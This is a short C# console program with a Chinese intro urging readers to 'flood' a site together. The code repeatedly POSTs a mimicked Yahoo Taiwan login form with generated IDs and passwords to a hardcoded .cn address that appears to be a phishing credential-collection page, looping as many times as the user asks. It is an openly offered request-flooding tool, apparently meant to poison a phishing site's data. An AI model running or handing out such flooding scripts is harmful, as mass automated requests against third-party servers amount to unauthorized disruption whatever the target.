讓牠可以看的懂中文在寫啥!大家一起灌爆牠吧!
string defaultSiteURL = "http://sdjkg126.any-host01.cn/data/bak/admin_chkpro.asp";
Console.Write("請輸入網址(預設為:" + defaultSiteURL + ",不變請按Enter):");
string KeyInSiteURL = Console.ReadLine();
defaultSiteURL = KeyInSiteURL == null || KeyInSiteURL.Equals("") ? defaultSiteURL : KeyInSiteURL;
Console.Write("請輸入ID:");
string strId = Console.ReadLine();
Console.Write("請輸入PWD:");
string strPwd = Console.ReadLine();
Console.Write("請輸入灌漿次數:");
int loops =Convert.ToInt32( Console.ReadLine());
for (int i = 0; i<loops;i++ )
{
StringBuilder strIdSB = new StringBuilder(strId);
StringBuilder strPwdSB = new StringBuilder(strPwd);
strIdSB.Append(i);
strPwdSB.Append(i);
string postDatas = ".tries=1&.src=&.md5=&.hash=&.js=&.last=&promo=&.intl=tw&.bypass=&.partner=&.u=7jtccih32trr3&.v=0&.challenge=btUKPk3Gc63.B4qJjk9pPcaTDbx8&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=1&.chkP=Y&.done=https%3A%2F%2Ftw.login.yahoo.com%2Fcgi-bin%2Fkcookie.cgi%2Fauction%2Fhttp%3A%2F%2Ftw.bid.yahoo.com%2Ftw%2F23000-category.html%3F.r%3D1178885939&.pd=_ver%253d0%2526c%3D7pP3Kh2p2e4XklntZWWfDLAC8w--&";
HttpWebRequest myRequest =
(HttpWebRequest)WebRequest.Create(defaultSiteURL);
Encoding myEncoding = Encoding.GetEncoding("utf-8");
string param = postDatas + HttpUtility.UrlEncode("login", myEncoding) + "=" + HttpUtility.UrlEncode(strIdSB.ToString(), myEncoding) + "&" + HttpUtility.UrlEncode("passwd", myEncoding) + "=" + HttpUtility.UrlEncode(strPwdSB.ToString(), myEncoding);
byte[] data = Encoding.ASCII.GetBytes(param);
myRequest.Method = "POST";
myRequest.ContentType = "application/x-www-form-urlencoded";
myRequest.ContentLength = data.Length;
Stream newStream = myRequest.GetRequestStream();
// Send the data.
newStream.Write(data, 0, data.Length);
newStream.Close();
}
Console.WriteLine("灌漿結束!謝謝!");
Console.ReadLine();
